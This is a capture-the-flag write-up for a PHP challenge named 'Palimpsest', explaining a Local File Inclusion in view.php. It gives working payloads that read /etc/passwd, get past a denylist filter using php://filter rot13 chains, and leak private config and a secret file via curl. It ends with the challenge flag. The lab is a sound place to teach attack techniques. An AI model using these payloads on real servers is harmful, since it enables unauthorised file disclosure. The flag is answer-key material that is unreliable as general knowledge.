Webhard
Palimpsest
by Pavel Knespl (capyplivl)
A PHP "codex" reader (view.php?doc=<slug>) passes any input starting with / or matching scheme:// straight into @include(). A denylist WAF blocks the obvious tokens but allows php://filter, so source and a secret vault path can be read via filter chains. This is Local File Inclusion.
Solve
- Confirm arbitrary file read with an absolute path:
/view.php?doc=/etc/passwd @include()executes PHP, soconfig.phpreturns nothing directly. The WAF blocksbase64/b64but allowsphp://filter, so usestring.rot13to leak source instead:
Decoding the rot13 body reveals the WAF denylist and/view.php?doc=php://filter/read=string.rot13/resource=/var/www/html/view.phprequire_once '/var/www/private/config.php';.- Leak the private config the same way:
This discloses the randomised vault path:curl -s -G 'https://HOST/view.php' \ --data-urlencode 'doc=php://filter/read=string.rot13/resource=/var/www/private/config.php' \ | rot13define('VAULT_FILE', '/opt/codex/x7k9m2p4q8r1n5w3.dat'); - The vault path contains no blocked token, so read it directly. A
.datwith no PHP tags is echoed verbatim:
The response body renders the flag.curl -s -G 'https://HOST/view.php' \ --data-urlencode 'doc=/opt/codex/x7k9m2p4q8r1n5w3.dat'
Flag: SVIUSCG{l4y3r3d_d1scl0sur3_thr0ugh_php_f1lt3r_ch41ns_1s_th3_w4y}